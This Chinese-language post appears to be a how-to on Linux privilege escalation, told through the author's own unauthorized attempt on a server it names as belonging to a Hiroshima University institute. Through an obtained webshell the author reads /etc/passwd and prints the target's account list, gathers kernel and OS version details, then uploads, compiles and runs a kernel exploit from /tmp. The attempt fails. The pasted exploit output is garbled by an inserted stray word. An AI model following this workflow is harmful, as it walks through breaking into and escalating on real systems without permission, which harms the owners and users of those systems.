一些人一直觉得Linux提权是一项高深技术,其实Linux提权并不神秘。总结其步骤,可以简单分为5步:
1,获取webshell
2,具有执行commandline权限,并获取Linux的系统版本
3,上传与Linux系统版本对应的漏洞提权脚本至可写可执行的目录下
4,执行提权脚本和反弹连接脚本
5,远程使用commandline控制机器
本文所采用的实例仍然是广岛大学研究所的服务器,但是目前为止我并没有提权成功,虽然不是一个成功的实例,但是文章的目的在于说明过程而非说明结果
广岛大学研究所的网站服务器架设环境是:
CentOS+PHP+Apache+  sotgreSQL
当然这些并不重要,我获得了webshell,并且发现有exec和system函数的权限,这样就好办多了
首先,读取password文件:
cat/etc/passwd
复制代码
获得:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTPUser:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
dbus:x:81:81:Systemmessagebus:/:/sbin/nologin
avahi:x:70:70:Avahidaemon:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
nscd:x:28:28:NSCDDaemon:/:/sbin/nologin
vcsa:x:69:69:virtualconsolememoryowner:/dev:/sbin/nologin
rpc:x:32:32:PortmapperRPCuser:/:/sbin/nologin
sshd:x:74:74:Privilege-separatedSSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPCServiceUser:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:AnonymousNFSUser:/var/lib/nfs:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
haldaemon:x:68:68:HALdaemon:/:/sbin/nologin
distcache:x:94:94:Distcache:/:/sbin/nologin
postgres:x:26:26:PostgreSQLServer:/var/lib/pgsql:/bin/bash
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
xfs:x:43:43:XFontServer:/etc/X11/fs:/sbin/nologin
ope:x:500:500::/home/ope:/bin/bash
ntp:x:38:38::/etc/ntp:/sbin/nologin
oprofile:x:16:16:SpecialuseraccounttobeusedbyOProfile:/home/oprofile:/sbin/nologin
avahi-autoipd:x:100:104:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
复制代码
除了root之外,有bash权限的shell分别有
数据库账户line32:postgres
管理员自己的账户line36:ope
Apache是nologin的shell,当然这个似乎并不影响什么,只是看一下而已
顺便w一下
10:45:41up71days,17:02, 1user, loadaverage:2.00,2.00,2.00
USER TTY FROM LOGIN@ IDLE JCPU  CPUWHAT
ope tty1 - 26Jan1171days 0.03s 0.03s-bash
复制代码
好吧,那么踩点结束。开始正事
执行命令:
uname-a
回显:
LinuxXXXXXXXX.hiroshima-u.ac.jp2.6.18-164.15.1.el5PAE#1SMPWedMar1712:14:29EDT2010i686i686i386GNU/Linux
复制代码
2.6.18的内核,再看:
lsb_release-a
回显:
LSBVersion: :core-3.1-ia32:core-3.1-noarch:graphics-3.1-ia32:graphics-3.1-noarch
DistributorID: CentOS
Description: CentOSrelease5.4(Final)
Release: 5.4
Codename: Final
复制代码
CentOS5.4的系统确实是2.6.18的内核。但是目前为止没有发现这个RedHat的系统有什么漏洞--
传了一个去年的2.6.18的提权脚本到/tmp目录
注意,一般来讲,提权脚本都是放在/tmp目录,原因很简单,目录简单,可写可执行~起名为:2618.c
好了,提权之前,这是一个c文件,是不能像rb或者pl那样直接脚本执行的,我们要先编译:
gcc-o/tmp/2618/tmp/2618.c
复制代码
这样就把/tmp/2618.c编译成了可以执行的文件/tmp/2618了
此时直接执行这个文件就行了
/tmp/2618
复制代码
当然,回显提示是失败的
[blockquote]DiagnostictoolforpublicCVE-2010-3081exploit--Ksplice,Inc.
(seehttp://www.ksplice.com/uptrack/cve-2010-3081)
$$$Kernelrelease:2.6.18-164.15.1.el5PAE
$$$BackdoorinLSM(1/3):checking...notpresent.
$$$Backdoorintimer_list_fops(2/3):notavailable.
$$$BackdoorinIDT(3/3):checking...notpresent.
Yoursystemi单机传奇reefromthebackdoorsthatwouldbeleftinmemory
bythepublishedexploitforCVE-2010-3081.[/blockquote]
当然,直接对RedHat发布的Linux系统版本进行内核提权显然不是明智的选择。我的思路是,查找系统中含有漏洞的软件、驱动等,用它们来提权。不幸的是我目前还没成功--
文章总结:提权脚本有两点要注意,gcc命令编译无法编译出脚本未必是系统的问题,可能是c脚本本身有问题。如果系统无法gcc出可执行的文件,可以在本地或者其他地方gcc出来,然后直接传上去,直接执行
*
|